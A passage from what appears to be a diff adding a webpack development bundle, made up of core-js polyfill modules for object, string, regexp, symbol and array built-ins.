./node_modules/core-js/modules/_object-gops.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +exports.f = Object.getOwnPropertySymbols; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gpo.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gpo.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O) +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO'); +var ObjectProto = Object.prototype; + +module.exports = Object.getPrototypeOf || function (O) { + O = toObject(O); + if (has(O, IE_PROTO)) return O[IE_PROTO]; + if (typeof O.constructor == 'function' && O instanceof O.constructor) { + return O.constructor.prototype; + } return O instanceof Object ? ObjectProto : null; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-keys-internal.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/_object-keys-internal.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var arrayIndexOf = __webpack_require__(/*! ./_array-includes */ "./node_modules/core-js/modules/_array-includes.js")(false); +var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO'); + +module.exports = function (object, names) { + var O = toIObject(object); + var i = 0; + var result = []; + var key; + for (key in O) if (key != IE_PROTO) has(O, key) && result.push(key); + // Don't enum bug & hidden keys + while (names.length > i) if (has(O, key = names[i++])) { + ~arrayIndexOf(result, key) || result.push(key); + } + return result; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-keys.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_object-keys.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.14 / 15.2.3.14 Object.keys(O) +var $keys = __webpack_require__(/*! ./_object-keys-internal */ "./node_modules/core-js/modules/_object-keys-internal.js"); +var enumBugKeys = __webpack_require__(/*! ./_enum-bug-keys */ "./node_modules/core-js/modules/_enum-bug-keys.js"); + +module.exports = Object.keys || function keys(O) { + return $keys(O, enumBugKeys); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-pie.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-pie.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +exports.f = {}.propertyIsEnumerable; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-sap.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-sap.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// most Object methods by ES6 should accept primitives +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +module.exports = function (KEY, exec) { + var fn = (core.Object || {})[KEY] || Object[KEY]; + var exp = {}; + exp[KEY] = exec(fn); + $export($export.S + $export.F * fails(function () { fn(1); }), 'Object', exp); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_own-keys.js": +/*!***************************************************!*\ + !*** ./node_modules/core-js/modules/_own-keys.js ***! + \***************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// all object keys, includes non-enumerable and symbols +var gOPN = __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js"); +var gOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var Reflect = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Reflect; +module.exports = Reflect && Reflect.ownKeys || function ownKeys(it) { + var keys = gOPN.f(anObject(it)); + var getSymbols = gOPS.f; + return getSymbols ? keys.concat(getSymbols(it)) : keys; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_parse-float.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_parse-float.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $parseFloat = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").parseFloat; +var $trim = __webpack_require__(/*! ./_string-trim */ "./node_modules/core-js/modules/_string-trim.js").trim; + +module.exports = 1 / $parseFloat(__webpack_require__(/*! ./_string-ws */ "./node_modules/core-js/modules/_string-ws.js") + '-0') !== -Infinity ? function parseFloat(str) { + var string = $trim(String(str), 3); + var result = $parseFloat(string); + return result === 0 && string.charAt(0) == '-' ? -0 : result; +} : $parseFloat; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_parse-int.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_parse-int.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $parseInt = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").parseInt; +var $trim = __webpack_require__(/*! ./_string-trim */ "./node_modules/core-js/modules/_string-trim.js").trim; +var ws = __webpack_require__(/*! ./_string-ws */ "./node_modules/core-js/modules/_string-ws.js"); +var hex = /^[-+]?0[xX]/; + +module.exports = $parseInt(ws + '08') !== 8 || $parseInt(ws + '0x16') !== 22 ? function parseInt(str, radix) { + var string = $trim(String(str), 3); + return $parseInt(string, (radix >>> 0) || (hex.test(string) ? 16 : 10)); +} : $parseInt; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_property-desc.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_property-desc.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (bitmap, value) { + return { + enumerable: !(bitmap & 1), + configurable: !(bitmap & 2), + writable: !(bitmap & 4), + value: value + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_redefine-all.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/_redefine-all.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +module.exports = function (target, src, safe) { + for (var key in src) redefine(target, key, src[key], safe); + return target; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_redefine.js": +/*!***************************************************!*\ + !*** ./node_modules/core-js/modules/_redefine.js ***! + \***************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var SRC = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js")('src'); +var $toString = __webpack_require__(/*! ./_function-to-string */ "./node_modules/core-js/modules/_function-to-string.js"); +var TO_STRING = 'toString'; +var TPL = ('' + $toString).split(TO_STRING); + +__webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js").inspectSource = function (it) { + return $toString.call(it); +}; + +(module.exports = function (O, key, val, safe) { + var isFunction = typeof val == 'function'; + if (isFunction) has(val, 'name') || hide(val, 'name', key); + if (O[key] === val) return; + if (isFunction) has(val, SRC) || hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key))); + if (O === global) { + O[key] = val; + } else if (!safe) { + delete O[key]; + hide(O, key, val); + } else if (O[key]) { + O[key] = val; + } else { + hide(O, key, val); + } +// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative +})(Function.prototype, TO_STRING, function toString() { + return typeof this == 'function' && this[SRC] || $toString.call(this); +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_regexp-exec-abstract.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/_regexp-exec-abstract.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var classof = __webpack_require__(/*! ./_classof */ "./node_modules/core-js/modules/_classof.js"); +var builtinExec = RegExp.prototype.exec; + + // `RegExpExec` abstract operation +// https://tc39.github.io/ecma262/#sec-regexpexec +module.exports = function (R, S) { + var exec = R.exec; + if (typeof exec === 'function') { + var result = exec.call(R, S); + if (typeof result !== 'object') { + throw new TypeError('RegExp exec method returned something other than an Object or null'); + } + return result; + } + if (classof(R) !== 'RegExp') { + throw new TypeError('RegExp#exec called on incompatible receiver'); + } + return builtinExec.call(R, S); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_regexp-exec.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_regexp-exec.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var regexpFlags = __webpack_require__(/*! ./_flags */ "./node_modules/core-js/modules/_flags.js"); + +var nativeExec = RegExp.prototype.exec; +// This always refers to the native implementation, because the +// String#replace polyfill uses ./fix-regexp-well-known-symbol-logic.js, +// which loads this file before patching the method. +var nativeReplace = String.prototype.replace; + +var patchedExec = nativeExec; + +var LAST_INDEX = 'lastIndex'; + +var UPDATES_LAST_INDEX_WRONG = (function () { + var re1 = /a/, + re2 = /b*/g; + nativeExec.call(re1, 'a'); + nativeExec.call(re2, 'a'); + return re1[LAST_INDEX] !== 0 || re2[LAST_INDEX] !== 0; +})(); + +// nonparticipating capturing group, copied from es5-shim's String#split patch. +var NPCG_INCLUDED = /()??/.exec('')[1] !== undefined; + +var PATCH = UPDATES_LAST_INDEX_WRONG || NPCG_INCLUDED; + +if (PATCH) { + patchedExec = function exec(str) { + var re = this; + var lastIndex, reCopy, match, i; + + if (NPCG_INCLUDED) { + reCopy = new RegExp('^' + re.source + '$(?!\\s)', regexpFlags.call(re)); + } + if (UPDATES_LAST_INDEX_WRONG) lastIndex = re[LAST_INDEX]; + + match = nativeExec.call(re, str); + + if (UPDATES_LAST_INDEX_WRONG && match) { + re[LAST_INDEX] = re.global ? match.index + match[0].length : lastIndex; + } + if (NPCG_INCLUDED && match && match.length > 1) { + // Fix browsers whose `exec` methods don't consistently return `undefined` + // for NPCG, like IE8. NOTE: This doesn' work for /(.?)?/ + // eslint-disable-next-line no-loop-func + nativeReplace.call(match[0], reCopy, function () { + for (i = 1; i < arguments.length - 2; i++) { + if (arguments[i] === undefined) match[i] = undefined; + } + }); + } + + return match; + }; +} + +module.exports = patchedExec; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_same-value.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_same-value.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 7.2.9 SameValue(x, y) +module.exports = Object.is || function is(x, y) { + // eslint-disable-next-line no-self-compare + return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_set-proto.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_set-proto.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Works with __proto__ only. Old v8 can't work with null proto objects. +/* eslint-disable no-proto */ +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var check = function (O, proto) { + anObject(O); + if (!isObject(proto) && proto !== null) throw TypeError(proto + ": can't set as prototype!"); +}; +module.exports = { + set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line + function (test, buggy, set) { + try { + set = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js")(Function.call, __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f(Object.prototype, '__proto__').set, 2); + set(test, []); + buggy = !(test instanceof Array); + } catch (e) { buggy = true; } + return function setPrototypeOf(O, proto) { + check(O, proto); + if (buggy) O.__proto__ = proto; + else set(O, proto); + return O; + }; + }({}, false) : undefined), + check: check +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_set-species.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_set-species.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var SPECIES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('species'); + +module.exports = function (KEY) { + var C = global[KEY]; + if (DESCRIPTORS && C && !C[SPECIES]) dP.f(C, SPECIES, { + configurable: true, + get: function () { return this; } + }); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_set-to-string-tag.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_set-to-string-tag.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var def = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var TAG = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toStringTag'); + +module.exports = function (it, tag, stat) { + if (it && !has(it = stat ? it : it.prototype, TAG)) def(it, TAG, { configurable: true, value: tag }); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_shared-key.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_shared-key.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var shared = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('keys'); +var uid = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js"); +module.exports = function (key) { + return shared[key] || (shared[key] = uid(key)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_shared.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_shared.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js"); +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var SHARED = '__core-js_shared__'; +var store = global[SHARED] || (global[SHARED] = {}); + +(module.exports = function (key, value) { + return store[key] || (store[key] = value !== undefined ? value : {}); +})('versions', []).push({ + version: core.version, + mode: __webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js") ? 'pure' : 'global', + copyright: '© 2019 Denis Pushkarev (zloirock.ru)' +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_species-constructor.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/_species-constructor.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.3.20 SpeciesConstructor(O, defaultConstructor) +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var SPECIES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('species'); +module.exports = function (O, D) { + var C = anObject(O).constructor; + var S; + return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? D : aFunction(S); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_strict-method.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_strict-method.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); + +module.exports = function (method, arg) { + return !!method && fails(function () { + // eslint-disable-next-line no-useless-call + arg ? method.call(null, function () { /* empty */ }, 1) : method.call(null); + }); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-at.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_string-at.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +// true -> String#at +// false -> String#codePointAt +module.exports = function (TO_STRING) { + return function (that, pos) { + var s = String(defined(that)); + var i = toInteger(pos); + var l = s.length; + var a, b; + if (i < 0 || i >= l) return TO_STRING ? '' : undefined; + a = s.charCodeAt(i); + return a < 0xd800 || a > 0xdbff || i + 1 === l || (b = s.charCodeAt(i + 1)) < 0xdc00 || b > 0xdfff + ? TO_STRING ? s.charAt(i) : a + : TO_STRING ? s.slice(i, i + 2) : (a - 0xd800 << 10) + (b - 0xdc00) + 0x10000; + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-context.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/_string-context.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// helper for String#{startsWith, endsWith, includes} +var isRegExp = __webpack_require__(/*! ./_is-regexp */ "./node_modules/core-js/modules/_is-regexp.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); + +module.exports = function (that, searchString, NAME) { + if (isRegExp(searchString)) throw TypeError('String#' + NAME + " doesn't accept regex!"); + return String(defined(that)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-html.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_string-html.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +var quot = /"/g; +// B.2.3.2.1 CreateHTML(string, tag, attribute, value) +var createHTML = function (string, tag, attribute, value) { + var S = String(defined(string)); + var p1 = '<' + tag; + if (attribute !== '') p1 += ' ' + attribute + '="' + String(value).replace(quot, '"') + '"'; + return p1 + '>' + S + ''; +}; +module.exports = function (NAME, exec) { + var O = {}; + O[NAME] = exec(createHTML); + $export($export.P + $export.F * fails(function () { + var test = ''[NAME]('"'); + return test !== test.toLowerCase() || test.split('"').length > 3; + }), 'String', O); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-repeat.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_string-repeat.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); + +module.exports = function repeat(count) { + var str = String(defined(this)); + var res = ''; + var n = toInteger(count); + if (n < 0 || n == Infinity) throw RangeError("Count can't be negative"); + for (;n > 0; (n >>>= 1) && (str += str)) if (n & 1) res += str; + return res; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-trim.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_string-trim.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var spaces = __webpack_require__(/*! ./_string-ws */ "./node_modules/core-js/modules/_string-ws.js"); +var space = '[' + spaces + ']'; +var non = '\u200b\u0085'; +var ltrim = RegExp('^' + space + space + '*'); +var rtrim = RegExp(space + space + '*$'); + +var exporter = function (KEY, exec, ALIAS) { + var exp = {}; + var FORCE = fails(function () { + return !!spaces[KEY]() || non[KEY]() != non; + }); + var fn = exp[KEY] = FORCE ? exec(trim) : spaces[KEY]; + if (ALIAS) exp[ALIAS] = fn; + $export($export.P + $export.F * FORCE, 'String', exp); +}; + +// 1 -> String#trimLeft +// 2 -> String#trimRight +// 3 -> String#trim +var trim = exporter.trim = function (string, TYPE) { + string = String(defined(string)); + if (TYPE & 1) string = string.replace(ltrim, ''); + if (TYPE & 2) string = string.replace(rtrim, ''); + return string; +}; + +module.exports = exporter; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-ws.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_string-ws.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = '\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003' + + '\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF'; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-absolute-index.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_to-absolute-index.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var max = Math.max; +var min = Math.min; +module.exports = function (index, length) { + index = toInteger(index); + return index < 0 ? max(index + length, 0) : min(index, length); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-integer.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_to-integer.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 7.1.4 ToInteger +var ceil = Math.ceil; +var floor = Math.floor; +module.exports = function (it) { + return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-iobject.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_to-iobject.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// to indexed object, toObject with fallback for non-array-like ES3 strings +var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +module.exports = function (it) { + return IObject(defined(it)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-length.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_to-length.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.1.15 ToLength +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var min = Math.min; +module.exports = function (it) { + return it > 0 ? min(toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991 +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-object.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_to-object.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.1.13 ToObject(argument) +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +module.exports = function (it) { + return Object(defined(it)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-primitive.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/_to-primitive.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.1.1 ToPrimitive(input [, PreferredType]) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +// instead of the ES6 spec version, we didn't implement @@toPrimitive case +// and the second argument - flag - preferred type is a string +module.exports = function (it, S) { + if (!isObject(it)) return it; + var fn, val; + if (S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; + if (typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it))) return val; + if (!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; + throw TypeError("Can't convert object to primitive value"); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_uid.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_uid.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var id = 0; +var px = Math.random(); +module.exports = function (key) { + return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_validate-collection.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/_validate-collection.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +module.exports = function (it, TYPE) { + if (!isObject(it) || it._t !== TYPE) throw TypeError('Incompatible receiver, ' + TYPE + ' required!'); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_wks-define.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_wks-define.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js"); +var LIBRARY = __webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js"); +var wksExt = __webpack_require__(/*! ./_wks-ext */ "./node_modules/core-js/modules/_wks-ext.js"); +var defineProperty = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +module.exports = function (name) { + var $Symbol = core.Symbol || (core.Symbol = LIBRARY ? {} : global.Symbol || {}); + if (name.charAt(0) != '_' && !(name in $Symbol)) defineProperty($Symbol, name, { value: wksExt.f(name) }); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_wks-ext.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_wks-ext.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +exports.f = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js"); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_wks.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_wks.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var store = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('wks'); +var uid = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js"); +var Symbol = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Symbol; +var USE_SYMBOL = typeof Symbol == 'function'; + +var $exports = module.exports = function (name) { + return store[name] || (store[name] = + USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name)); +}; + +$exports.store = store; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/core.get-iterator-method.js": +/*!******************************************************************!*\ + !*** ./node_modules/core-js/modules/core.get-iterator-method.js ***! + \******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classof = __webpack_require__(/*! ./_classof */ "./node_modules/core-js/modules/_classof.js"); +var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'); +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +module.exports = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js").getIteratorMethod = function (it) { + if (it != undefined) return it[ITERATOR] + || it['@@iterator'] + || Iterators[classof(it)]; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.copy-within.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.copy-within.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.P, 'Array', { copyWithin: __webpack_require__(/*! ./_array-copy-within */ "./node_modules/core-js/modules/_array-copy-within.js") }); + +__webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js")('copyWithin'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.every.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.every.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $every = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(4); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].every, true), 